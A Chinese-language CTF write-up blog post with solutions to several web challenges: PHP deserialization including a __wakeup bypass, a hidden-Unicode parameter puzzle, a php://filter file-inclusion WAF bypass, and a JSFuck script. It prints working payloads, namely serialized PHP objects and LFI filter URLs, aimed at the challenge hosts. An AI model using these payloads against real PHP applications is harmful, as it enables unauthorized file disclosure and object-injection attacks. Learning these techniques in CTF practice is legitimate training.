ctf的一些题目
反序列化题目
[极客大挑战 2019]PHP1
前置知识:
__construct:创建类的时候进行初始化
__wakeup:函数反序列化的时候自动调用
__destruct:对象结束的时候自动调用
__construct:创建对象自动调用
首先扫盘,发现www.zip

研究class.php的代码
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
            
        }
    }
}
?>
经过代码审计后整理出:
首先__construct
然后在结束时__destruct进行判断检测:
password==100
username==admin
结束的时候进行__wake反序列化导致username==guset
接下来构造反序列化代码:
<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
echo serialize($a);
?>
得到结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
回到index.php

经过反序列化函数后要调用__wakeup魔术方法,所以我们要绕过__wakeup函数:
让类名与后面对应的字数不匹配:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
注意:私有属性在序列化后会在字符串前加上/0的前缀,但复制后不会显示出来
O:4:"Name":3:{s:14:"口Name口username";s:5:"admin";s:14:"口Name口password";i:100;}
要把口改成%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最终payload:
http://f8610277-461b-4f1b-ae6f-5f5341d0c73d.node4.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[SWPUCTF 2021 新生赛]ez_unserialize
 <?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
$p = $_GET['p'];
unserialize($p);
?> 
很容易得出序列化代码:
 <?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
    
}
    $a=new wllm();
    echo serialize($a);
?> 
payload:
http://node4.anna.nssctf.cn:28766/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[NISACTF 2022]checkin ktrol
这题不算反序列化,但是暂时放在这里
首先观察题干

刚开始看,我就想不就是传入两个参数直接拿下,

后来发现果然没有这么简单,检查半天发现不是拼写错误
看到题目的提示

于是乎在这段代码中发现了无法显示的unicode字符

这些字符无法打印,想必就是传入参数时缺少了这些字符
放入vscode中观察

随后构造传参:
 这些字符是无法打印的,所以我们需要用urlencode编码加密一下
这些字符是无法打印的,所以我们需要用urlencode编码加密一下
加密后得到结果
ahahahaha%3Djitanglailo%26%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan%3D%E2%80%AE%E2%81%A6%2B%21%21%E2%81%A9%E2%81%A6%26+%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6N1SACTF
只要把乱码部分进行url编码,其余部分的符号保持不变
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
或者把所有特殊字符单独提取出来进行url编码

得到payload:
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
这个弄了好久了,某个地方打错一个字就没了
最后终于拿到flag

这个Unicode编码还挺有意思的,以前都没见过,而且在复制一段字符串的时候还会复制到另一端字符串,或许这就是这种隐藏字符串的特征

等有时间了去了解下
PHP伪协议
[鹏城杯 2022]简单包含
前置知识:
1.php伪协议
php://filter/read=convert.base64-encode/resource=[文件名]
详细内容可以参考这里https://segmentfault.com/a/1190000018991087
看题干

首先先包含flag.php
发现有waf
包含index看看waf是什么

页面是空白的,猜测内容里有flag字符导致被过滤
尝试使用php伪协议
得到如下数据:
PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4K
解码后得
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
在if语句中:
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path))
首先要满足输入的数据要大于800然后不能有flag
最终payload:
a=aasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdsdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdas&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
js
[HDCTF 2023]Welcome To HDCTF 2023
view-source:中找到game.js

或者直接搜alert
形如(+[![]]+[])[+[]]+(这样的
这里的加密是jsfuck
直接alert(seeeeeeeecret)
或者用jsfuck

 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号